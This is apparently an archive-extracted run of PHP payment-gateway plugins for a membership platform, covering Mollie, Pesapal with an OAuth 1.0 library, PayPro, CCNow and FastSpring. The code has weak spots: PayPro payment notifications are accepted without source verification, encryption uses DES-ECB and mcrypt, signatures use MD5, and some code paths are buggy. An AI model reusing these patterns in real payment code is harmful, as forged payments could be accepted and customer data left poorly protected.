Am_Rest_Client_Mollie_Exception("Unable to fetch payment. Status: " . $resp->getStatus() . " Response: " . $resp->getBody()); return json_decode($resp->getBody(), true); } function setAuthHeader() { $this->setHeader('Authorization: Bearer ' . $this->getKey()); } } class Am_Rest_Client_Mollie_Exception extends Am_Exception { }PK\|&&payment/pesapal/pesapal.phpnu[addText('consumer_key', array('size' => 40)) ->setLabel(___('Merchant Key')); $form->addText('consumer_secret', array('size' => 40)) ->setLabel(___('Merchant Secret')); } function getConsumer() { require_once dirname(__FILE__) . '/OAuth.php'; if(self::$consumer) return self::$consumer; self::$consumer = new OAuthConsumer($this->getConfig('consumer_key'), $this->getConfig('consumer_secret')); return self::$consumer; } function getMethod() { if(self::$method) return self::$method; self::$method = new OAuthSignatureMethod_HMAC_SHA1(); return self::$method; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $result->setAction( new Am_Paysystem_Action_Redirect( $this->getDi()->url( "payment/".$this->getId()."/confirm", array('id'=>$invoice->getSecureId($this->getId())), false) )); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Pesapal_Thanks($this, $request, $response, $invokeArgs); } public function onHourly() { foreach($this->getDi()->db->select("select d.id,d.value,i.public_id from ?_data d left join ?_invoice i on (d.id=i.invoice_id) where d.`table`='invoice' and d.`key` = 'pesapal_transaction_tracking_id'") as $row){ if(!empty($row['value'])){ $transaction = new Am_Paysystem_Transaction_Pesapal_Pending($this, $row); $transaction->setInvoice($this->getDi()->invoiceTable->load($row['id'])); $transaction->process(); } } } public function thanksAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $log = $this->logRequest($request); try { $transaction = $this->createThanksTransaction($request, $response, $invokeArgs); } catch (Am_Exception_Paysystem_NotImplemented $e) { $this->logError("[thanks] page handling is not implemented for this plugin. Define [createThanksTransaction] method in plugin"); throw $e; } $transaction->setInvoiceLog($log); if($request->get("pesapal_transaction_status") == Am_Paysystem_Transaction_Pesapal_Thanks::PENDING) { $invoice = $this->getDi()->invoiceTable->findFirstBy(array('public_id' => $transaction->findInvoiceId())); $invoice->data()->set('pesapal_transaction_tracking_id',$transaction->getUniqId())->update(); $view = new Am_View; $view->addScriptPath(dirname(__FILE__)); $response->setBody($view->render("payment-pesapal-pending.phtml")); return; } try { $transaction->process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { // ignore this error, as it happens in "thanks" transaction // we may have received IPN about the payment earlier } catch (Exception $e) { throw $e; $this->getDi()->errorLogTable->logException($e); throw Am_Exception_InputError(___("Error happened during transaction handling. Please contact website administrator")); } $log->setInvoice($transaction->getInvoice())->update(); $this->invoice = $transaction->getInvoice(); $response->setRedirect($this->getReturnUrl()); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { //if ($request->getActionName() == 'cron') return $this->onHourly(); if ($request->getActionName() == 'thanks') { return $this->thanksAction($request, $response, $invokeArgs); } $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getFiltered('id'), $this->getId()); if (!$invoice) throw new Am_Exception_InputError(___("Sorry, seems you have used wrong link")); $u = $invoice->getUser(); $xml = new DOMDocument('1.0', 'utf-8'); $e = new DOMElement('PesapalDirectOrderInfo'); $el = $xml->appendChild($e); $el->setAttribute('xmlns:xsi','http://www.w3.org/2001/XMLSchemainstance'); $el->setAttribute('xmlns:xsd','http://www.w3.org/2001/XMLSchema'); $el->setAttribute('Amount',number_format($invoice->first_total, 2)); $el->setAttribute('Description',$invoice->getLineDescription()); $el->setAttribute('Code',''); $el->setAttribute('Type','MERCHANT'); $el->setAttribute('PaymentMethod',''); $el->setAttribute('Reference',$invoice->public_id); $el->setAttribute('FirstName',$u->name_f); $el->setAttribute('LastName',$u->name_l); $el->setAttribute('Email',$u->email); $el->setAttribute('PhoneNumber',$u->phone); $el->setAttribute('UserName',$u->email); $el->setAttribute('Currency',$invoice->currency); $el->setAttribute('xmlns','http://www.pesapal.com'); //post transaction to pesapal $consumer = $this->getConsumer(); $token = $params = NULL; $method = $this->getMethod(); $iframe_src = OAuthRequest::from_consumer_and_token($consumer, $token, "GET", self::URL, $params); $iframe_src->set_parameter("oauth_callback", $this->getPluginUrl('thanks')); $iframe_src->set_parameter("pesapal_request_data", $s=htmlentities($xml->saveXML())); $iframe_src->sign_request($method, $consumer, $token); $view = new Am_View; $view->addScriptPath(dirname(__FILE__)); $view->invoice = $invoice; $view->iframe_src = $iframe_src; $response->setBody($view->render("payment-pesapal-confirm.phtml")); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Pesapal($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<request->get('pesapal_transaction_tracking_id'); } function validateTerms() { return true; } function getInvoice() { return $this->invoice; } public function findInvoiceId() { return $this->request->get("pesapal_merchant_reference"); } public function validateStatus() { return $this->request->get("pesapal_transaction_status")==self::COMPLETED; } } class Am_Paysystem_Transaction_Pesapal_Pending extends Am_Paysystem_Transaction_Abstract { protected $vars; const CHECK_URL = "https://www.pesapal.com/api/QueryPaymentStatus"; public function __construct(Am_Paysystem_Abstract $plugin, array $vars) { $this->vars = $vars; parent::__construct($plugin); } public function getUniqId() { return $this->vars['value']; } public function validate() { $consumer = $this->plugin->getConsumer(); $token = $params = NULL; $method = $this->plugin->getMethod(); $st = OAuthRequest::from_consumer_and_token($consumer, $token, "GET", self::CHECK_URL, $params); $st->set_parameter("pesapal_merchant_reference", $vars['public_id']); $st->set_parameter("pesapal_transaction_tracking_id", $vars['value']); $st->sign_request($method, $consumer, $token); $req = $this->plugin->createHttpRequest(); $resp = $req->setUrl($st->to_url())->send()->getBody(); parse_str($resp,$vars); if($vars['pesapal_response_data']==Am_Paysystem_Transaction_Pesapal_Thanks::COMPLETED) return true; } public function processValidated() { $this->invoice->addPayment($this); $this->plugin->getDi()->getDbService()->query("DELETE from ?_data where `table`='invoice' AND `key`='pesapal_transaction_tracking_id' and id=?",$this->vars['id']); } }PK\g`Y`Ypayment/pesapal/OAuth.phpnu[key = $key; $this->secret = $secret; $this->callback_url = $callback_url; } function __toString() { return "OAuthConsumer[key=$this->key,secret=$this->secret]"; } } class OAuthToken { // access tokens and request tokens public $key; public $secret; /** * key = the token * secret = the token secret */ function __construct($key, $secret) { $this->key = $key; $this->secret = $secret; } /** * generates the basic string serialization of a token that a server * would respond to request_token and access_token calls with */ function to_string() { return "oauth_token=" . OAuthUtil::urlencode_rfc3986($this->key) . "&oauth_token_secret=" . OAuthUtil::urlencode_rfc3986($this->secret); } function __toString() { return $this->to_string(); } } class OAuthSignatureMethod { public function check_signature(&$request, $consumer, $token, $signature) { $built = $this->build_signature($request, $consumer, $token); return $built == $signature; } } class OAuthSignatureMethod_HMAC_SHA1 extends OAuthSignatureMethod { function get_name() { return "HMAC-SHA1"; } public function build_signature($request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; $key_parts = array( $consumer->secret, ($token) ? $token->secret : "" ); $key_parts = OAuthUtil::urlencode_rfc3986($key_parts); $key = implode('&', $key_parts); return base64_encode(hash_hmac('sha1', $base_string, $key, true)); } } class OAuthSignatureMethod_PLAINTEXT extends OAuthSignatureMethod { public function get_name() { return "PLAINTEXT"; } public function build_signature($request, $consumer, $token) { $sig = array( OAuthUtil::urlencode_rfc3986($consumer->secret) ); if ($token) { array_push($sig, OAuthUtil::urlencode_rfc3986($token->secret)); } else { array_push($sig, ''); } $raw = implode("&", $sig); // for debug purposes $request->base_string = $raw; return OAuthUtil::urlencode_rfc3986($raw); } } class OAuthSignatureMethod_RSA_SHA1 extends OAuthSignatureMethod { public function get_name() { return "RSA-SHA1"; } protected function fetch_public_cert(&$request) { // not implemented yet, ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // (2) fetch via http using a url provided by the requester // (3) some sort of specific discovery code based on request // // either way should return a string representation of the certificate throw Exception("fetch_public_cert not implemented"); } protected function fetch_private_cert(&$request) { // not implemented yet, ideas are: // (1) do a lookup in a table of trusted certs keyed off of consumer // // either way should return a string representation of the certificate throw Exception("fetch_private_cert not implemented"); } public function build_signature(&$request, $consumer, $token) { $base_string = $request->get_signature_base_string(); $request->base_string = $base_string; // Fetch the private key cert based on the request $cert = $this->fetch_private_cert($request); // Pull the private key ID from the certificate $privatekeyid = openssl_get_privatekey($cert); // Sign using the key $ok = openssl_sign($base_string, $signature, $privatekeyid); // Release the key resource openssl_free_key($privatekeyid); return base64_encode($signature); } public function check_signature(&$request, $consumer, $token, $signature) { $decoded_sig = base64_decode($signature); $base_string = $request->get_signature_base_string(); // Fetch the public key cert based on the request $cert = $this->fetch_public_cert($request); // Pull the public key ID from the certificate $publickeyid = openssl_get_publickey($cert); // Check the computed signature against the one passed in the query $ok = openssl_verify($base_string, $decoded_sig, $publickeyid); // Release the key resource openssl_free_key($publickeyid); return $ok == 1; } } class OAuthRequest { private $parameters; private $http_method; private $http_url; // for debug purposes public $base_string; public static $version = '1.0'; public static $POST_INPUT = 'php://input'; function __construct($http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $this->parameters = $parameters; $this->http_method = $http_method; $this->http_url = $http_url; } /** * attempt to build up a request from what was passed to the server */ public static function from_request($http_method=NULL, $http_url=NULL, $parameters=NULL) { $scheme = (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != "on") ? 'http' : 'https'; @$http_url or $http_url = $scheme . '://' . $_SERVER['HTTP_HOST'] . ':' . $_SERVER['SERVER_PORT'] . $_SERVER['REQUEST_URI']; @$http_method or $http_method = $_SERVER['REQUEST_METHOD']; // We weren't handed any parameters, so let's find the ones relevant to // this request. // If you run XML-RPC or similar you should use this to provide your own // parsed parameter-list if (!$parameters) { // Find request headers $request_headers = OAuthUtil::get_headers(); // Parse the query-string to find GET parameters $parameters = OAuthUtil::parse_parameters($_SERVER['QUERY_STRING']); // It's a POST request of the proper content-type, so parse POST // parameters and add those overriding any duplicates from GET if ($http_method == "POST" && @strstr($request_headers["Content-Type"], "application/x-www-form-urlencoded") ) { $post_data = OAuthUtil::parse_parameters( file_get_contents(self::$POST_INPUT) ); $parameters = array_merge($parameters, $post_data); } // We have a Authorization-header with OAuth data. Parse the header // and add those overriding any duplicates from GET or POST if (@substr($request_headers['Authorization'], 0, 6) == "OAuth ") { $header_parameters = OAuthUtil::split_header( $request_headers['Authorization'] ); $parameters = array_merge($parameters, $header_parameters); } } return new OAuthRequest($http_method, $http_url, $parameters); } /** * pretty much a helper function to set up the request */ public static function from_consumer_and_token($consumer, $token, $http_method, $http_url, $parameters=NULL) { @$parameters or $parameters = array(); $defaults = array("oauth_version" => OAuthRequest::$version, "oauth_nonce" => OAuthRequest::generate_nonce(), "oauth_timestamp" => OAuthRequest::generate_timestamp(), "oauth_consumer_key" => $consumer->key); if ($token) $defaults['oauth_token'] = $token->key; $parameters = array_merge($defaults, $parameters); return new OAuthRequest($http_method, $http_url, $parameters); } public function set_parameter($name, $value, $allow_duplicates = true) { if ($allow_duplicates && isset($this->parameters[$name])) { // We have already added parameter(s) with this name, so add to the list if (is_scalar($this->parameters[$name])) { // This is the first duplicate, so transform scalar (string) // into an array so we can add the duplicates $this->parameters[$name] = array($this->parameters[$name]); } $this->parameters[$name][] = $value; } else { $this->parameters[$name] = $value; } } public function get_parameter($name) { return isset($this->parameters[$name]) ? $this->parameters[$name] : null; } public function get_parameters() { return $this->parameters; } public function unset_parameter($name) { unset($this->parameters[$name]); } /** * The request parameters, sorted and concatenated into a normalized string. * @return string */ public function get_signable_parameters() { // Grab all parameters $params = $this->parameters; // Remove oauth_signature if present // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") if (isset($params['oauth_signature'])) { unset($params['oauth_signature']); } return OAuthUtil::build_http_query($params); } /** * Returns the base string of this request * * The base string defined as the method, the url * and the parameters (normalized), each urlencoded * and the concated with &. */ public function get_signature_base_string() { $parts = array( $this->get_normalized_http_method(), $this->get_normalized_http_url(), $this->get_signable_parameters() ); $parts = OAuthUtil::urlencode_rfc3986($parts); return implode('&', $parts); } /** * just uppercases the http method */ public function get_normalized_http_method() { return strtoupper($this->http_method); } /** * parses the url and rebuilds it to be * scheme://host/path */ public function get_normalized_http_url() { $parts = parse_url($this->http_url); $port = @$parts['port']; $scheme = $parts['scheme']; $host = $parts['host']; $path = @$parts['path']; $port or $port = ($scheme == 'https') ? '443' : '80'; if (($scheme == 'https' && $port != '443') || ($scheme == 'http' && $port != '80')) { $host = "$host:$port"; } return "$scheme://$host$path"; } /** * builds a url usable for a GET request */ public function to_url() { $post_data = $this->to_postdata(); $out = $this->get_normalized_http_url(); if ($post_data) { $out .= '?'.$post_data; } return $out; } /** * builds the data one would send in a POST request */ public function to_postdata() { return OAuthUtil::build_http_query($this->parameters); } /** * builds the Authorization: header */ public function to_header() { $out ='Authorization: OAuth realm=""'; $total = array(); foreach ($this->parameters as $k => $v) { if (substr($k, 0, 5) != "oauth") continue; if (is_array($v)) { throw new OAuthException('Arrays not supported in headers'); } $out .= ',' . OAuthUtil::urlencode_rfc3986($k) . '="' . OAuthUtil::urlencode_rfc3986($v) . '"'; } return $out; } public function __toString() { return $this->to_url(); } public function sign_request($signature_method, $consumer, $token) { $this->set_parameter( "oauth_signature_method", $signature_method->get_name(), false ); $signature = $this->build_signature($signature_method, $consumer, $token); $this->set_parameter("oauth_signature", $signature, false); } public function build_signature($signature_method, $consumer, $token) { $signature = $signature_method->build_signature($this, $consumer, $token); return $signature; } /** * util function: current timestamp */ private static function generate_timestamp() { return time(); } /** * util function: current nonce */ private static function generate_nonce() { mt_srand((double)microtime()*10000);//optional for php 4.2.0 and up. $charid = strtoupper(md5(uniqid(rand(), true))); $hyphen = chr(45);// "-" $uuid = chr(123)// "{" .substr($charid, 0, 8).$hyphen .substr($charid, 8, 4).$hyphen .substr($charid,12, 4).$hyphen .substr($charid,16, 4).$hyphen .substr($charid,20,12) .chr(125);// "}" return $uuid; } } class OAuthServer { protected $timestamp_threshold = 300; // in seconds, five minutes protected $version = 1.0; // hi blaine protected $signature_methods = array(); protected $data_store; function __construct($data_store) { $this->data_store = $data_store; } public function add_signature_method($signature_method) { $this->signature_methods[$signature_method->get_name()] = $signature_method; } // high level functions /** * process a request_token request * returns the request token on success */ public function fetch_request_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // no token required for the initial token request $token = NULL; $this->check_signature($request, $consumer, $token); $new_token = $this->data_store->new_request_token($consumer); return $new_token; } /** * process an access_token request * returns the access token on success */ public function fetch_access_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // requires authorized request token $token = $this->get_token($request, $consumer, "request"); $this->check_signature($request, $consumer, $token); $new_token = $this->data_store->new_access_token($token, $consumer); return $new_token; } /** * verify an api call, checks all the parameters */ public function verify_request(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); $token = $this->get_token($request, $consumer, "access"); $this->check_signature($request, $consumer, $token); return array($consumer, $token); } // Internals from here /** * version 1 */ private function get_version(&$request) { $version = $request->get_parameter("oauth_version"); if (!$version) { $version = 1.0; } if ($version && $version != $this->version) { throw new OAuthException("OAuth version '$version' not supported"); } return $version; } /** * figure out the signature with some defaults */ private function get_signature_method(&$request) { $signature_method = @$request->get_parameter("oauth_signature_method"); if (!$signature_method) { $signature_method = "PLAINTEXT"; } if (!in_array($signature_method, array_keys($this->signature_methods))) { throw new OAuthException( "Signature method '$signature_method' not supported " . "try one of the following: " . implode(", ", array_keys($this->signature_methods)) ); } return $this->signature_methods[$signature_method]; } /** * try to find the consumer for the provided request's consumer key */ private function get_consumer(&$request) { $consumer_key = @$request->get_parameter("oauth_consumer_key"); if (!$consumer_key) { throw new OAuthException("Invalid consumer key"); } $consumer = $this->data_store->lookup_consumer($consumer_key); if (!$consumer) { throw new OAuthException("Invalid consumer"); } return $consumer; } /** * try to find the token for the provided request's token key */ private function get_token(&$request, $consumer, $token_type="access") { $token_field = @$request->get_parameter('oauth_token'); $token = $this->data_store->lookup_token( $consumer, $token_type, $token_field ); if (!$token) { throw new OAuthException("Invalid $token_type token: $token_field"); } return $token; } /** * all-in-one function to check the signature on a request * should guess the signature method appropriately */ private function check_signature(&$request, $consumer, $token) { // this should probably be in a different method $timestamp = @$request->get_parameter('oauth_timestamp'); $nonce = @$request->get_parameter('oauth_nonce'); $this->check_timestamp($timestamp); $this->check_nonce($consumer, $token, $nonce, $timestamp); $signature_method = $this->get_signature_method($request); $signature = $request->get_parameter('oauth_signature'); $valid_sig = $signature_method->check_signature( $request, $consumer, $token, $signature ); if (!$valid_sig) { throw new OAuthException("Invalid signature"); } } /** * check that the timestamp is new enough */ private function check_timestamp($timestamp) { // verify that timestamp is recentish $now = time(); if ($now - $timestamp > $this->timestamp_threshold) { throw new OAuthException( "Expired timestamp, yours $timestamp, ours $now" ); } } /** * check that the nonce is not repeated */ private function check_nonce($consumer, $token, $nonce, $timestamp) { // verify that the nonce is uniqueish $found = $this->data_store->lookup_nonce( $consumer, $token, $nonce, $timestamp ); if ($found) { throw new OAuthException("Nonce already used: $nonce"); } } } class OAuthDataStore { function lookup_consumer($consumer_key) { // implement me } function lookup_token($consumer, $token_type, $token) { // implement me } function lookup_nonce($consumer, $token, $nonce, $timestamp) { // implement me } function new_request_token($consumer) { // return a new token attached to this consumer } function new_access_token($token, $consumer) { // return a new access token attached to this consumer // for the user associated with this token if the request token // is authorized // should also invalidate the request token } } class OAuthUtil { public static function urlencode_rfc3986($input) { if (is_array($input)) { return array_map(array('OAuthUtil', 'urlencode_rfc3986'), $input); } else if (is_scalar($input)) { return str_replace( '+', ' ', str_replace('%7E', '~', rawurlencode($input)) ); } else { return ''; } } // This decode function isn't taking into consideration the above // modifications to the encoding process. However, this method doesn't // seem to be used anywhere so leaving it as is. public static function urldecode_rfc3986($string) { return urldecode($string); } // Utility function for turning the Authorization: header into // parameters, has to do some unescaping // Can filter out any non-oauth parameters if needed (default behaviour) public static function split_header($header, $only_allow_oauth_parameters = true) { $pattern = '/(([-_a-z]*)=("([^"]*)"|([^,]*)),?)/'; $offset = 0; $params = array(); while (preg_match($pattern, $header, $matches, PREG_OFFSET_CAPTURE, $offset) > 0) { $match = $matches[0]; $header_name = $matches[2][0]; $header_content = (isset($matches[5])) ? $matches[5][0] : $matches[4][0]; if (preg_match('/^oauth_/', $header_name) || !$only_allow_oauth_parameters) { $params[$header_name] = OAuthUtil::urldecode_rfc3986($header_content); } $offset = $match[1] + strlen($match[0]); } if (isset($params['realm'])) { unset($params['realm']); } return $params; } // helper to try to sort out headers for people who aren't running apache public static function get_headers() { if (function_exists('apache_request_headers')) { // we need this to get the actual Authorization: header // because apache tends to tell us it doesn't exist return apache_request_headers(); } // otherwise we don't have apache and are just going to have to hope // that $_SERVER actually contains what we need $out = array(); foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) == "HTTP_") { // this is chaos, basically it is just there to capitalize the first // letter of every word that is not an initial HTTP and strip HTTP // code from przemek $key = str_replace( " ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))) ); $out[$key] = $value; } } return $out; } // This function takes a input like a=b&a=c&d=e and returns the parsed // parameters like this // array('a' => array('b','c'), 'd' => 'e') public static function parse_parameters( $input ) { if (!isset($input) || !$input) return array(); $pairs = explode('&', $input); $parsed_parameters = array(); foreach ($pairs as $pair) { $split = explode('=', $pair, 2); $parameter = OAuthUtil::urldecode_rfc3986($split[0]); $value = isset($split[1]) ? OAuthUtil::urldecode_rfc3986($split[1]) : ''; if (isset($parsed_parameters[$parameter])) { // We have already recieved parameter(s) with this name, so add to the list // of parameters with this name if (is_scalar($parsed_parameters[$parameter])) { // This is the first duplicate, so transform scalar (string) into an array // so we can add the duplicates $parsed_parameters[$parameter] = array($parsed_parameters[$parameter]); } $parsed_parameters[$parameter][] = $value; } else { $parsed_parameters[$parameter] = $value; } } return $parsed_parameters; } public static function build_http_query($params) { if (!$params) return ''; // Urlencode both keys and values $keys = OAuthUtil::urlencode_rfc3986(array_keys($params)); $values = OAuthUtil::urlencode_rfc3986(array_values($params)); $params = array_combine($keys, $values); // Parameters are sorted by name, using lexicographical byte value ordering. // Ref: Spec: 9.1.1 (1) uksort($params, 'strcmp'); $pairs = array(); foreach ($params as $parameter => $value) { if (is_array($value)) { // If two or more parameters share the same name, they are sorted by their value // Ref: Spec: 9.1.1 (1) natsort($value); foreach ($value as $duplicate_value) { $pairs[] = $parameter . '=' . $duplicate_value; } } else { $pairs[] = $parameter . '=' . $value; } } // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) // Each name-value pair is separated by an '&' character (ASCII code 38) return implode('&', $pairs); } } PK\kk-payment/pesapal/payment-pesapal-pending.phtmlnu[setLayout('layout.phtml'); ?>
    PK\o>-payment/pesapal/payment-pesapal-confirm.phtmlnu[setLayout('layout.phtml'); if (empty($btnText)) $btnText = ___("Make Payment"); include $this->_script('_receipt.phtml'); ?>
    PK\L~##payment/paypro.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'paypro_product_id', "Paypro product ID", "" , array(/* ,'required' */) )); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function canAutoCreate() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addAdvCheckbox('new') ->setId('protocol-version') ->setLabel('Use New Protocol'); $form->addInteger('product_id', array('size' => 20)) ->setLabel('PayPro Product Id'); $form->setDefault('new', 1); $form->addText('key', array('size' => 20, 'rel' => 'protocol-old')) ->setLabel('PayPro Product Variable Price Hash'); $form->addText('enc_key', array('class' => 'el-wide', 'rel' => 'protocol-new')) ->setLabel("Encryption key\n" . "Key must be length 32 symbols"); $form->addText('enc_vector', array('class' => 'el-wide', 'rel' => 'protocol-new')) ->setLabel("Encryption init. vector\n" . "Initialization vector must be length 16 symbols"); $g = $form->addGroup() ->setLabel('Use Test Mode') ->setSeparator(' '); $g->addAdvcheckbox('testing', array('id' => 'testing')) ->setLabel('Use Test Mode'); $g->addText('secret_key', array( 'id' => 'secret_key', 'placeholder' => 'Secret Key')); $form->addScript() ->setScript(<<getConfig('key'); $data = ""; $td = mcrypt_module_open('des', '', 'ecb', ''); $ckey = $key; $iv = $key; mcrypt_generic_init($td, $ckey, $iv); $data = mcrypt_generic($td, $str); mcrypt_generic_deinit($td); mcrypt_module_close($td); return $data; } function encrypt($data) { //default padding is not compliant with paypro implementation $l = strlen($data); $pad = 16 - $l % 16; $data = str_pad($data, $l + $pad, chr($pad)); return mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $this->getConfig('enc_key'), $data, MCRYPT_MODE_CBC, $this->getConfig('enc_vector')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $id = $this->invoice->getSecureId("THANKS"); $desc = array(); foreach ($invoice->getItems() as $it) if ($it->first_total > 0) $desc[] = $it->item_title; $desc = implode(',', $desc); $desc .= ". (invoice: $id)"; $name = $invoice->getLineDescription(); if ($this->getConfig('new')) { $data = array( 'Name' => $name, 'Description' => $desc, ); $data['Price'][$invoice->currency]['Amount'] = $invoice->first_total; $data = http_build_query($data); $a = new Am_Paysystem_Action_Redirect(self::URL_NEW); $params = array( 'products[1][id]' => current(array_filter(array($invoice->getItem(0)->getBillingPlanData('paypro_product_id'), $this->getConfig('product_id')))), 'products[1][data]' => base64_encode($this->encrypt($data)), 'currency' => $invoice->currency, 'billing-first-name' => $invoice->getFirstName(), 'billing-last-name' => $invoice->getLastName(), 'billing-email' => $invoice->getEmail(), 'billing-contact-phone' => $invoice->getPhone(), 'billing-country' => $invoice->getCountry() == 'GB' ? 'united kingdom' : $invoice->getCountry(), 'billing-state' => $invoice->getState(), 'billing-city' => $invoice->getCity(), 'billing-zip' => $invoice->getZip(), 'billing-address' => $invoice->getStreet(), 'x-invoice' => $invoice->public_id ); if ($this->getConfig('testing')) { $params['use-test-mode'] = 'true'; $params['secret-key'] = $this->getConfig('secret_key'); } foreach ($params as $k => $v) { $a->addParam($k, $v); } $a->filterEmpty(); } else { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->products = current(array_filter(array($invoice->getItem(0)->getBillingPlanData('paypro_product_id'), $this->getConfig('product_id')))); $a->hash = base64_encode($this->getHash("price={$invoice->first_total}-{$invoice->currency}^^^name=$name^^^desc=$desc")); ; $a->CustomField1 = $invoice->public_id; $a->firstname = $invoice->getFirstName(); $a->Lastname = $invoice->getLastName(); $a->Email = $invoice->getEmail(); $a->Address = $invoice->getStreet(); $a->City = $invoice->getCity(); $a->Country = $invoice->getCountry() == 'GB' ? 'united kingdom' : $invoice->getCountry(); $a->State = $invoice->getState(); $a->Zipcode = $invoice->getZip(); $a->Phone = $invoice->getPhone(); } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Paypro($this, $request, $response, $invokeArgs); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $refund = $this->getPluginUrl('refund'); return << 'CUSTOMER_FIRST_NAME', 'name_l' => 'CUSTOMER_LAST_NAME', 'email' => 'CUSTOMER_EMAIL', 'user_external_id' => 'CUSTOMER_ID', 'invoice_external_id' => 'CUSTOMER_EMAIL', ); public function autoCreateGetProducts() { $item_name = $this->request->get('PRODUCT_ID'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('paypro_product_id', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function validateSource() { return true; } public function validateStatus() { return !$this->request->get('IS_DELAYED_PAYMENT'); } public function validateTerms() { return true; // terms are signed! } public function getUniqId() { return $this->request->get('ORDER_ID'); } public function findInvoiceId() { $id = $this->request->getParam('CUSTOM_FIELD1'); if (!$id) { $cf = $this->request->getParam('ORDER_CUSTOM_FIELDS'); if (preg_match('/x-invoice=(.*)(,|$)/', $cf, $m)) { $id = $m[1]; } elseif (preg_match('/x-CustomField1=(.*)(,|$)/', $cf, $m)) { $id = $m[1]; } } return $id; } public function processValidated() { if ($this->request->get('REFUND') > 0 || in_array($this->request->get('IPN_TYPE_ID'), array( 2, //OrderRefunded 3, //OrderChargedBack 5 //OrderPartiallyRefunded ))) { if ($this->request->get('IPN_TYPE_ID') == 3) {//OrderChargedBack $this->invoice->addChargeback($this, $this->request->get('ORDER_ID')); } else { $this->invoice->addRefund($this, $this->request->get('ORDER_ID')); } } elseif ($this->request->get('ORDER_STATUS_ID') == 5) { $this->invoice->addPayment($this); } } } PK\5payment/ccnow.phpnu[addText('login') ->setLabel('CCNow Client ID') ->addRule('required'); $form->addText('key') ->setLabel('Activation Key') ->addRule('required'); $form->addAdvCheckbox('testmode') ->setLabel('Is Test Mode?'); } public function isNotAcceptableForInvoice(\Invoice $invoice) { if($invoice->rebill_times && ($invoice->first_period != $invoice->second_period)) return array(___ ("This payment system doesn't support Trial Periods")); return parent::isNotAcceptableForInvoice($invoice); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL_LIVE); $result->setAction($a); $sequence = rand(1, 1000); $vars = array( 'x_version' => '1.0', 'x_login' => $this->getConfig('login'), 'x_invoice_num' => $invoice->public_id, 'x_method' => $this->getConfig('testmode') ? 'TEST' : 'NONE', 'x_name' => $invoice->getName(), 'x_address' => $invoice->getStreet(), 'x_address2' => $invoice->getStreet2(), 'x_city' => $invoice->getCity(), 'x_country' => $invoice->getCountry(), 'x_state' => $invoice->getState(), 'x_zip' => $invoice->getZip(), 'x_email' => $invoice->getEmail(), 'x_currency_code' => $invoice->currency, 'x_amount' => $price = sprintf('%.2f', $invoice->first_total), 'x_tax_amount' => $tprice = sprintf('%.2f', $invoice->first_tax), 'x_fp_sequence' => $sequence, 'x_fp_arg_list' => 'x_login^x_fp_arg_list^x_fp_sequence^x_amount^x_currency_code', 'x_fp_hash' => '', 'x_fp_hash' => md5($q = $this->getConfig('login')."^x_login^x_fp_arg_list^x_fp_sequence^x_amount^x_currency_code^".$sequence."^".$price."^".$invoice->currency."^".$this->getConfig('key')) ); foreach ($invoice->getItems() as $kk => $item) { $k = $kk+1; $vars['x_product_sku_'.$k] = $item->item_id; $vars['x_product_title_'.$k] = $item->item_title; $vars['x_product_quantity_'.$k] = $item->qty; $vars['x_product_unitprice_'.$k] = $item->first_total; $vars['x_product_url_'.$k] = ROOT_URL; } if($invoice->rebill_times){ $vars['x_subscription_type'] = 'A'; $vars['x_subscription_freq'] = strtoupper($invoice->second_period); if($invoice->rebill_times < 99999) $vars['x_subscription_max'] = $invoice->rebill_times; } foreach($vars as $k => $v) $a->addParam($k, $v); $result->setAction($a); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return <<request->get('x_status') == 'received'; } public function findInvoiceId() { return $this->request->get('x_invoice_num'); } public function validateStatus() { return true; } public function getUniqId() { return $this->request->get('x_orderid'); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('x_amount')); return true; } }PK\#.&&payment/fastspring.phpnu[addText('company') ->setLabel("Company Name\n" . 'your Company name as registered at FastSpring'); $form->addText('key') ->setLabel("Private Security Key\n" . 'FastSpring -> Account -> Notification Configuration -> Order Notification -> Security'); $form->addText('api_user') ->setLabel("API Username\n" . 'used to handle cancellations'); $form->addText('api_pass') ->setLabel("API Password\n" . 'used to handle cancellations'); $form->addAdvCheckbox("instant") ->setLabel("Instant order process\n" . 'leave it disabled for default product pages'); $form->addAdvCheckbox("testing") ->setLabel('Test Mode'); $form->addAdvcheckbox('doc_mode') ->setLabel("Digital Only Condensed mode\n" . 'leave it unchecked if 